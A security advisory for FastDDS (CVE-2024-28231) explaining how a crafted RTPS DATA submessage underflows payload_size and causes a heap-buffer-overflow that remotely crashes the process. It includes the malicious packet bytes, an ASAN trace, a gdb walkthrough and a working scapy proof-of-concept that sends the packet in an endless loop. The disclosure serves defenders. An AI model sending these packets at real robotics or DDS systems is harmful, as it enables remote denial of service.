Skip to content

Manipulated DATA Submessage causes a heap-buffer-overflow error

Critical
MiguelCompany published GHSA-9m2j-qw67-ph4w Mar 20, 2024

Package

FastDDS (FastDDS)

Affected versions

<= v2.13.3

Patched versions

v2.14.0 / v2.13.4 / v2.12.2 / v2.10.4 / v2.6.8

Description

1. Summary

  • Manipulated DATA Submessage can cause a heap overflow error in the Fast-DDS process, causing the process to be terminated remotely.
  • The payload_size in the DATA Submessage packet is declared as uint32_t. When a negative number, such as -1, is input into this variable, it results in an Integer Overflow (for example, -1 gets converted to 0xFFFFFFFF). This eventually leads to a heap-buffer-overflow, causing the program to terminate.

2. Details

  • Attack Precondition
    • You must sniff the guid value of the Pub node.
  • When the next DATA Submessage is sent to the sub node, a heap-buffer-overflow error from ASAN occurs.
# RTPS Header
0000   52 54 50 53 02 02 01 0f 01 0f 84 27 42 0b 60 96
0010   00 00 00 00
----------------------------------------------------------------------------------------
# Data Submessage
0010               15 05 30 00 00 00 2d 00 00 00 14 04
0020   00 00 14 03 00 00 00 00 0f ff ff ff 00 01 00 00
0030   37 33 31 36 38 37 33 30 33 37 31 38 30 33 31 35
0040   38 39 33 37 36 00 01 00 ff ff ff ff ff ff ff ff

image

ASAN Report

=================================================================
==2713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x63100004c7dc at pc 0x7f61b6a3a397 bp 0x7f61abdf61b0 sp 0x7f61abdf5958
READ of size 4294967295 at 0x63100004c7dc thread T10
    #0 0x7f61b6a3a396 in __interceptor_memcpy ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827
    #1 0x7f61aff40519 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:29
    #2 0x7f61aff40519 in eprosima::fastrtps::rtps::SerializedPayload_t::copy(eprosima::fastrtps::rtps::SerializedPayload_t const*, bool) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/include/fastdds/rtps/common/SerializedPayload.h:133
    #3 0x7f61aff40519 in eprosima::fastrtps::rtps::TopicPayloadPool::get_payload(eprosima::fastrtps::rtps::SerializedPayload_t&, eprosima::fastrtps::rtps::IPayloadPool*&, eprosima::fastrtps::rtps::CacheChange_t&) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/history/TopicPayloadPool.cpp:114
    #4 0x7f61aff5d900 in eprosima::fastrtps::rtps::StatefulReader::processDataMsg(eprosima::fastrtps::rtps::CacheChange_t*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/reader/StatefulReader.cpp:629
    #5 0x7f61aff7574f in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:220
    #6 0x7f61aff7574f in findAllReaders<eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(const eprosima::fastrtps::rtps::EntityId_t&, eprosima::fastrtps::rtps::CacheChange_t&, bool)::<lambda(eprosima::fastrtps::rtps::RTPSReader*)> > /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:720
    #7 0x7f61aff7574f in eprosima::fastrtps::rtps::MessageReceiver::process_data_message_without_security(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:223
    #8 0x7f61aff7c58b in std::function<void (eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool)>::operator()(eprosima::fastrtps::rtps::EntityId_t const&, eprosima::fastrtps::rtps::CacheChange_t&, bool) const /usr/include/c++/11/bits/std_function.h:590
    #9 0x7f61aff7c58b in eprosima::fastrtps::rtps::MessageReceiver::proc_Submsg_Data(eprosima::fastrtps::rtps::CDRMessage_t*, eprosima::fastrtps::rtps::SubmessageHeader_t*, eprosima::fastrtps::rtps::EntityId_t&, bool) const /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:901
    #10 0x7f61aff7e6fd in eprosima::fastrtps::rtps::MessageReceiver::processCDRMsg(eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::CDRMessage_t*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/messages/MessageReceiver.cpp:457
    #11 0x7f61aff85a43 in eprosima::fastrtps::rtps::ReceiverResource::OnDataReceived(unsigned char const*, unsigned int, eprosima::fastrtps::rtps::Locator_t const&, eprosima::fastrtps::rtps::Locator_t const&) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/network/ReceiverResource.cpp:135
    #12 0x7f61b0098877 in eprosima::fastdds::rtps::UDPChannelResource::perform_listen_operation(eprosima::fastrtps::rtps::Locator_t) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/UDPChannelResource.cpp:79
    #13 0x7f61b0098d7c in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/UDPChannelResource.cpp:49
    #14 0x7f61b0098d7c in operator() /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/threading.hpp:99
    #15 0x7f61b0098d7c in ThreadProxy<eprosima::create_thread<eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, eprosima::fastdds::rtps::eProsimaUDPSocket&, uint32_t, const Locator&, const string&, eprosima::fastdds::rtps::TransportReceiverInterface*, const eprosima::fastdds::rtps::ThreadSettings&)::<lambda()>, unsigned int>(eprosima::fastdds::rtps::UDPChannelResource::UDPChannelResource(eprosima::fastdds::rtps::UDPTransportInterface*, eprosima::fastdds::rtps::eProsimaUDPSocket&, uint32_t, const Locator&, const string&, eprosima::fastdds::rtps::TransportReceiverInterface*, const eprosima::fastdds::rtps::ThreadSettings&)::<lambda()>, const eprosima::fastdds::rtps::ThreadSettings&, char const*, unsigned int)::<lambda()> > /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/thread_impl/thread_impl_custom.hpp:56
    #16 0x7f61b5694ac2 in start_thread nptl/pthread_create.c:442
    #17 0x7f61b572684f  (/lib/x86_64-linux-gnu/libc.so.6+0x12684f)

0x63100004c7dc is located 0 bytes to the right of 65500-byte region [0x63100003c800,0x63100004c7dc)
allocated by thread T0 here:
    #0 0x7f61b6ab4887 in __interceptor_malloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cpp:145
    #1 0x7f61b006363f in eprosima::fastrtps::rtps::CDRMessage_t::CDRMessage_t(unsigned int) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/include/fastdds/rtps/common/CDRMessage_t.h:79
    #2 0x7f61b006363f in eprosima::fastdds::rtps::ChannelResource::ChannelResource(unsigned int) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/rtps/transport/ChannelResource.cpp:45

Thread T10 created by T0 here:
    #0 0x7f61b6a58685 in __interceptor_pthread_create ../../../../src/libsanitizer/asan/asan_interceptors.cpp:216
    #1 0x7f61b02908b8 in eprosima::thread::start_thread_impl(int, void* (*)(void*), void*) /home/suwan/ros2_rolling/src/eProsima/Fast-DDS/src/cpp/utils/thread_impl/thread_impl_pthread.ipp:63

SUMMARY: AddressSanitizer: heap-buffer-overflow ../../../../src/libsanitizer/sanitizer_common/sanitizer_common_interceptors.inc:827 in __interceptor_memcpy
Shadow bytes around the buggy address:
  0x0c62800018a0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018b0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018c0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018d0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c62800018e0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c62800018f0: 00 00 00 00 00 00 00 00 00 00 00[04]fa fa fa fa
  0x0c6280001900: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001910: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001920: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001930: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c6280001940: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07 
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==2713==ABORTING
[ros2run]: Aborted

Analysis Code With GDB

1. The code that causes

  • Fast-DDS-2.13.1/src/cpp/rtps/messages/MessageReceiver.cpp:846
// 739 line
bool MessageReceiver::proc_Submsg_Data(
        CDRMessage_t* msg,
        SubmessageHeader_t* smh,
        EntityId_t& writerID,
        bool was_decoded) const
{

.....

	if (dataFlag || keyFlag)
		   {
	        uint32_t payload_size;
	        payload_size = smh->submessageLength -
	                (RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE + octetsToInlineQos + inlineQosSize);

	        if (dataFlag)
	        {
	            uint32_t next_pos = msg->pos + payload_size;
	            if (msg->length >= next_pos && payload_size > 0)
	            {
	                ch.serializedPayload.data = &msg->buffer[msg->pos];
	                ch.serializedPayload.length = payload_size;
	                ch.serializedPayload.max_size = payload_size;
	                msg->pos = next_pos;
	            }
	            else
	            {
	                EPROSIMA_LOG_WARNING(RTPS_MSG_IN, IDSTRING "Serialized Payload value invalid or larger than maximum allowed size"
	                        "(" << payload_size << "/" << (msg->length - msg->pos) << ")");
	                ch.serializedPayload.data = nullptr;
	                ch.inline_qos.data = nullptr;
	                return false;
	            }
	        }

2. Verify with gdb

  1. The payload_size of the DATA Submessage packet is declared as uint32_t.
  2. After setting a breakpoint at line 827 in the code, the code is executed line by line up to line 849. Subsequently, an examination of each variable reveals that smh→submessageLength is equivalent to the length of OctetsToNextHeader.

image

  1. ‘RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE’ is a global variable and the integer 4 is declared.
  2. In the attacker manipulated packet, octetsToNextHeader is 48, so the length of smh→submessageLength is 48.
  3. Additionally, since octetsToInlineQos is 45, the total length of RTPSMESSAGE_DATA_EXTRA_INLINEQOS_SIZE + octetsToInlineQos + inlineQosSize becomes 49. Consequently, this results in payload_size being -1.
  4. In this situation, the range of the variable payload_size is 0 to 4,294,967,295, so an Integer Overflow occurs, and 4,294,967,295 is assigned to payload_size. Next, in code line 855, the value of payload_size is assigned to the ch.serializedPayload.length variable.
  5. Afterwards, in the process of allocating data using the memcpy function, a heap-buffer-overflow occurs because data is copied up to the length of ch.serializedPayload.length.

3. PoC

  • Attack Environment Required Info
    • Operating System : Ubuntu 22.04 LTS
    • This issue was first identified in FastDDS v2.12.1 and continues to persist in FastDDS v2.13.1.
from scapy.all import *

hex_value = ""
hex_value += "525450530202010f010f8427420b609600000000"
hex_value += "1505300000002d00000014040000140300000000"
hex_value += "0fffffff00010000373331363837333033373138"
hex_value += "303331353839333736000100ffffffffffffffff"

abc = bytes.fromhex(hex_value)

while(1):  
   
   packet = Ether(src="00:0c:29:2e:25:3d", dst="00:0c:29:c8:40:03") / \
      IP(src="192.168.114.140",dst="192.168.114.141") / \
      UDP(sport=46605, dport=7411) / abc

   sendp(packet, iface="ens33")

4. Impact

  • The Fast-DDS process can be remotely terminated.

image

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Adjacent
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2024-28231

Weaknesses

Credits